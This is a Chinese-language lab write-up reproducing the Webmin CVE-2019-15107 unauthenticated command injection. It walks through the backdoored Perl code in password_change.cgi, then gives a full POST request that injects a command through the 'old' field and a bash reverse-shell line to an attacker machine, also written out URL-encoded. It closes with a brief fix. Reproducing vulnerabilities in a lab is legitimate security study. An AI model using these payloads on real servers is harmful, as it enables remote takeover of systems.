CVE-2019-15107Webmin远程命令执行漏洞复现

CVE-2019-15107 Webmin远程命令执行漏洞复现

漏洞影响版本为Webmin<=1.920

Webmin的是一个用于管理类Unix的系统的管理配置工具,具有网络页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。它已知在端口10000上运行。在重置密码功能中发现了一个错误,该错误允许恶意第三方由于缺少输入验证而执行恶意代码。


环境搭建

靶机:CentOS7(192.168.2.101)

CVE-2019-15107Webmin远程命令执行漏洞复现_第1张图片

CVE-2019-15107Webmin远程命令执行漏洞复现_第2张图片

webmin在ssl模式下是无法显示界面的,我们需要进入服务器关闭ssl模式

CVE-2019-15107Webmin远程命令执行漏洞复现_第3张图片

将ssl设置为0

重启webmin服务即可

CVE-2019-15107Webmin远程命令执行漏洞复现_第4张图片

至此环境搭建完毕


漏洞分析

漏洞点出在password_change.cgi文件中

第12行告诉我们,想要修改密码,password_mode必须设置为2,否则输出“Password changing is not enabled!"

这是漏洞利用的前提


下面看这个文件是如何判断webmin用户的

# Is this a Webmin user?
if (&foreign_check("acl")) {
	&foreign_require("acl", "acl-lib.pl");
	($wuser) = grep { $_->{'name'} eq $in{'user'} } &acl::list_users();
	if ($wuser->{'pass'} eq 'x') {
		# A Webmin user, but using Unix authentication
		$wuser = undef;
	elsif ($wuser->{'pass'} eq '*LK*' ||
	       $wuser->{'pass'} =~ /^\!/) {
		&pass_error("Webmin users with locked accounts cannot change ".
		       	    "their passwords!");
		}
	}

这段代码对请求中的user的密码和“x“进行了比较,”x”是Unix authenticaton设置的默认pass值。也就是说,如果我们传进去的user是系统用户登录且认证方式为Unix authenticaton的账户时,$wuser的值会被赋值为undef,在perl语言中是未定义的意思。


我们在看更新密码的代码段

if ($wuser) {
	# Update Webmin user's password
	$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
	$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
	$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
	$perr && &pass_error(&text('password_enewpass', $perr));
	$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
	$wuser->{'temppass'} = 0;
	&acl::modify_user($wuser->{'name'}, $wuser);
	&reload_miniserv();
	}

如果$wuser未定义的话,则无法执行更新密码的代码段,也就是说,再利用漏洞的时候,不能用系统登录且认证方式为Unix authenticaton的账户,但是当我们传入的用户为空或者不存在时,经过测试,$wuser的值为{},可以进入上面代码段。

在执行上述代码段的时候,由于输入的user不存在,在执行到第4行的时候,会自动执行pass_error()函数,该函数的参数中的qx/$in{'old'}/是一个可执行系统命令的代码段。

在perl中,qx//的用法为执行系统命令


系统用户:

添加的系统用户,在系统中必须存在,Username选择想要添加的系统用户、Password为认证方式(选择Unix authentication认证,不需要输入密码,实质上是通过Linux系统/etc/shadow进行认证的)

普通webmin用户:

与系统用户无关,Username为普通用户、Password为认证方式(配置密码认证)

漏洞利用

查看webmin配置信息

(webmin配置文件在/etc/webmin/miniserv.conf)

CVE-2019-15107Webmin远程命令执行漏洞复现_第5张图片

可以看到passwd_mode的值为2,可以对密码进行修改

在进入控制台之前,先进入容器设置root密码

以root身份登录控制台

抓取修改密码请求包

直接访问http://192.168.2.101:10000/password_change.cgi

抓包后修改如下POC即可

POST /password_change.cgi HTTP/1.1
Host: 192.168.2.101:10000
Connection: close
Content-Length: 109
Cache-Control: max-age=0
Origin: https://192.168.2.101:10000
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: same-origin
Referer: https://192.168.2.101:10000/session_login.cgi
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

Cookie: redirect=1; testing=1; sessiontest=1; sid=x

user=&pam=1&expired=2&old=123456 || ls&new1=11&new2=11

CVE-2019-15107Webmin远程命令执行漏洞复现_第6张图片

可以看到命令执行成功


除此之外,还可以尝试反弹shell连接

bash -c "bash -i >& /dev/tcp/192.168.2.108/9999 0>&1"

编码器进行URL编码:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YOCFMxDw-1641298022038)(E:\学习笔记\渗透测试\webmin(cve_2019_15107)]\webmin-cve_2019_15107.assets\image-20211228142745283.png)

%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%32%2e%31%30%38%2f%39%39%39%39%20%30%3e%26%31%22

kali开启监听

发送数据包:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-itt1BP7S-1641298022039)(https://cdn.jsdelivr.net/gh/QJLONG/HUMMER-PIC@master/img/20211228142908.png)]

kali监听到了:

CVE-2019-15107Webmin远程命令执行漏洞复现_第7张图片
漏洞修补

直接删除qx//后门即可

建议webmin项目尽量从官方github下载部署

参考链接:

CVE-2019-15107 Webmin RCE 后门深入分析 | Qftm

你可能感兴趣的:(渗透测试实验,ssl,安全,服务器)